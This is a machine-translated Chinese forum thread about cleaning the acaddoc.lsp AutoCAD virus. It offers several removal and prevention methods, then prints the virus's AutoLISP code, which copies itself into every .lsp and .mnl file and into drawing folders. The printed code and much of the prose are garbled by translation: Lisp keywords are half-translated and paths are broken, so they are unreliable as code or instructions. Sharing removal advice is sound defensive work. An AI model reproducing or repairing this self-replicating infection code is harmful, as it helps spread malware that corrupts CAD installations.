运行CAD后，会自动生成一个lisp文件。
方法一
acaddoc.lsp输入的列表有缺陷(转自爱空间)。2009年04月07日星期二是11:14。这是一种新病毒，以前的解决方案(1.lps改名为acaddoc.lsp)解决不了。在网上搜了一下，找到了一个和百度空间相关的帖子。
原帖如下:
今天在Q群里看到另一个网友要求删除CAD病毒，说用查杀工具解决不了，就让他把病毒文件传给我。
打开文件，发现这个“acaddoc.lsp”文件中的程序代码与之前的“acaddoc.lsp”病毒文件不同。
这个病毒文件会自动搜索所有“*”。mnl "文件和" *。lsp "文件在CAD支持的路径下。将病毒代码(“acaddoc.lsp”文件的内容)写入“*。lsp "文件，并写下" * "的加载路径。lsp" file into "*。mnl”文件。同时，不能使用线性命令“line”、外部参考管理命令“xref”和分解(爆炸)命令“explode”。
CAD系统感染病毒文件后，单纯搜索删除“acaddoc.lsp”文件是无法清除病毒的。因为所有的“*。lsp "文件已被修改，所有" *。lsp”文件是病毒文件。
解决方案1:
(1)、关闭CAD
②搜索并删除所有“acaddoc.lsp”文件。
(3)、卸载CAD(必须卸载干净，并进入c盘用户目录删除未卸载的CAD文件)，然后重装CAD。
解决方案2:
(1)、关闭CAD
②搜索并删除所有“acaddoc.lsp”文件。
③找一台没有被CAD病毒破坏，安装了相同版本CAD的电脑，复制其所有“*。lsp "文件和" *。mnl "文件复制到这台计算机上以覆盖原始文件(包括c盘用户目录中的相关文件)。
CAD病毒的预防:
安装CAD系统后，在被病毒感染前，将CAD目录下所有文件的属性设置为只读，可以降低中毒的概率。(此方法有效率为99.999%)
附件:c:\ documents and settings \××\ application data \ Autodesk \ AutoCAD 200×\ r ×\
其中×××是您登录系统时的用户名，200×和R×.×分别是CAD的版本和版本代码。(注意:目录C:\Documents and Settings\是一个系统隐藏文件夹)
转帖地址:/刘辉bin 1984/blog/item/FBE 64723340 a 543 ad 34 deb 3 . html
方法2
CAD开始运行时会有一系列的函数，会生成acaddoc.lsp的文件处理方法。我用过，方法很好，就转过来了。
以下是我感染acaddoc.lsp病毒后的个人杀毒经验。
一开始我也在网上找了很多所谓的CAD病毒查杀软件和acaddoc.lsp查杀软件。。。都试过了也没用。后来网上介绍的lsp病毒的一些特性，经过个人实验确实有效。在这里和大家分享一下，希望能为大家解决一些问题。
让我们言归正传。防病毒步骤如下:
1，彻底删除acaddoc.lsp(包括隐藏文件夹)——————废话，呵呵。
2.删除c:\ documents and settings \ administrator \ application data \ Autodesk \ AutoCAD 2006 \ r 16.2 \ CHS \ support下的acaddoc.lsp和acadapq.lsp。
3.删除C: \文档和设置\管理员\应用程序。data \ Autodesk \ AutoCAD 2006 \ r 16.2 \ CHS \ support下的Acad.mnl、acetmain.mnl和AecArchXOE.mnl。
4.删除所有* * * *。C:\ Program Files \ AutoCAD 2006 \ Support下的LSP，以及***10 * * *的2006版。我用过的迷幻药。
5.将下面附加的alsp中的两个文件复制到C:\ Documents and Settings \ Administrator \ Application Data \ Autodesk \ AutoCAD 2006 \ r 16.2 \ CHS \ Support，并将其更改为只读。
6.将下面附加的mnl中的三个文件复制到C:\ Documents and Settings \ Administrator \ Application Data \ Autodesk \ AutoCAD 2006 \ r 16.2 \ CHS \ Support，并将其更改为只读。
7.将所附LSP中的十个文件复制到C:\ program files \ AutoCAD 2006 \ support，并将其改为只读。
经过以上步骤，你就可以放心使用了。
方法3
CAD的病毒很多，但都差不多。现在病毒ACADDOC。LSP为防病毒而出现。不需要重新安装CAD。
1，找到更多ACADDOC。文件夹里的LSP表示你中毒了。
2.关闭CAD程序。
3.搜索*。fas *。lsp *。mnl *。arx文件，并删除除CAD安装目录以外的所有文件。
4.检查CAD安装目录文件的修改时间，并删除最近文件中的病毒代码。(用记事本打开)
5.全部更改*。fas *。lsp *。mnl *。将CAD安装目录中的arx文件设置为只读属性。
描述:
1，ACADDOC。LSP病毒感染3d . LSP；文件夹下X:\ Program files \ AutoCAD 20 * * \ Support；3darray.lspacad 2010 . LSP；acad 2010 doc . LSP；acadinfo.lspai _ utils.lspattredef.lspedge.lspmvsetup.lsp样本配置文件util.lsp文件。
2.要删除的病毒代码位于文件的末尾，如下所示:
(设置标志x t)
(设置bz "(设置标志x t)")
(德福app(源目标BZ/flag flag 1 wjm wjm 1 text)
(设置标志为零)
(设置标志1 t)
(if (findfile目标)
(程序
(setq wjm1(打开目标“r”))
(while (setq文本(读取行wjm1))
(if (=文本bz) (setq flag1 nil))
);在…期间
(关闭wjm1)
);progn
);如果
(如果flag1
(程序
(setq wjm(开源“r”))
(setq wjm1(打开目标“a”))
(写入行(chr 13) wjm1)
(while (setq文本(read-line wjm))
(如果(=文本bz)(设置标志t))
(如果标记
(程序
(书写行文本wjm1)
);progn
);如果
);在…期间
(关闭wjm1)
(关闭wjm)
);progn
);如果
);德福恩
(setvar "cmdecho" 0)
(setq acadmnl (findfile "acad.mnl "))
(setq acadmnlpath(VL-文件名-目录acadmnl))
(setq mnlfilelist(VL-directory-files acadmnlpath " *。mnl "))
(setq mnlnum(长度mnlfilelist))
(setq acadexe (findfile "acad.exe "))
(setq acad path(VL-filename-directory acad exe))
(setq支持(strcat acadpath "\\support "))
(setq lspfilelist(VL-directory-files support " *。lsp "))
(setq lspfilelist(追加lspfilelist(列表“acaddoc.lsp”))
(setq lspnum(长度lspfilelist))
(setq dwgname (getvar "dwgname "))
(setq dwgpath (findfile dwgname))
(如果dwgpath
(程序
(setq acaddocpath(VL-filename-directory DWG path))
(setq acaddocfile(strcat acaddocpath " \ \ acad doc . LSP "))
(setq mnln 0)
(while(& lt；mnln mnlnum)
(setq mnlfilename(strcat acadmnlpath " \ "(第n个mnln mnlfilelist)))
(app mnlfilename acaddocfile bz)
(app acaddocfile mnlfilename bz)
(setq mnln (1+ mnln))
);在…期间
(设置lspn 0)
(while(& lt；lspn lspnum)
(setq LSP filename(strcat support " \ "(n lspn LSP filelist)))
(app lspfilename acaddocfile bz)
(app acaddocfile lspfilename bz)
(setq lspn (1+ lspn))
);在…期间
);progn
);如果
(setq mnln 0)
(while(& lt；mnln mnlnum)
(setq mnlfilename(strcat acadmnlpath " \ "(第n个mnln mnlfilelist)))
(setq mnln1 0)
(while(& lt；mnln1 mnlnum)
(setq mnlfilename 1(strcat acadmnlpath " \ "(nth mnln 1 mnlfilelist)))
(app mnl filename mnl filename 1 BZ)
(setq mnln 1(1+mnln 1))
);在…期间
(setq lspn1 0)
(while(& lt；lspn1 lspnum)
(setq lspfilename 1(strcat support " \ "(第n个lspn1 lspfilelist)))
(app mnl filename LSP filename 1 BZ)
(setq lspn 1(1+lspn 1))
);在…期间
(setq mnln (1+ mnln))
);在…期间
(设置lspn 0)
(while(& lt；lspn lspnum)
(setq LSP filename(strcat support " \ "(n lspn LSP filelist)))
(setq lspn1 0)
(while(& lt；lspn1 lspnum)
(setq lspfilename 1(strcat support " \ "(第n个lspn1 lspfilelist)))
(应用LSP filename LSP filename 1 BZ)
(setq lspn 1(1+lspn 1))
);在…期间
(setq mnln1 0)
(while(& lt；mnln1 mnlnum)
(setq mnlfilename 1(strcat acadmnlpath " \ "(nth mnln 1 mnlfilelist)))
(应用LSP文件名mnl文件名1 bz)
(setq mnln 1(1+mnln 1))
);在…期间
(setq lspn (1+ lspn))
(加载“acadapq”)
(princ)
加入360指导委员会参与国家安全！论坛版主扩容，欢迎加入！
卡涅斯基
金币:65
经验:99
年级:学前
优点:无。
正文消息
【回复此楼】【报价】【举报】2010-06-1109:27二楼！
韩梅雪松
金币:15
经验:51
年级:幼儿园
优点:无。
正文消息
【回复此楼】【报价】【举报】3楼2010-11-1003:14这个方法不行。
艾某108
金币:15
经验:55
年级:幼儿园
优点:无。
正文消息
【回复此楼】【报价】【举报】4楼2010-12-07 10:59已解决！感谢360论坛！同时感谢qq！如果当年qq没有做出艰难的决定，我不会用360，也不会知道360论坛。
楼主给我们提供了解决方案，但是需要注意的是，病毒感染的不仅仅是安装目录下的文件。如果只清除安装目录中被感染文件的代码，则无效。这也是很多朋友说这个方法不行的原因。它也被感染了
*.C:\ Documents and Settings \ user name \ application data \ Autodesk \ AutoCAD 2006 \ r 16.2 \ CHS \ support下的MNL文件。需要一个并清除上面的代码。
这个问题困扰我好几个月了，妈的。无毒，重量轻。。。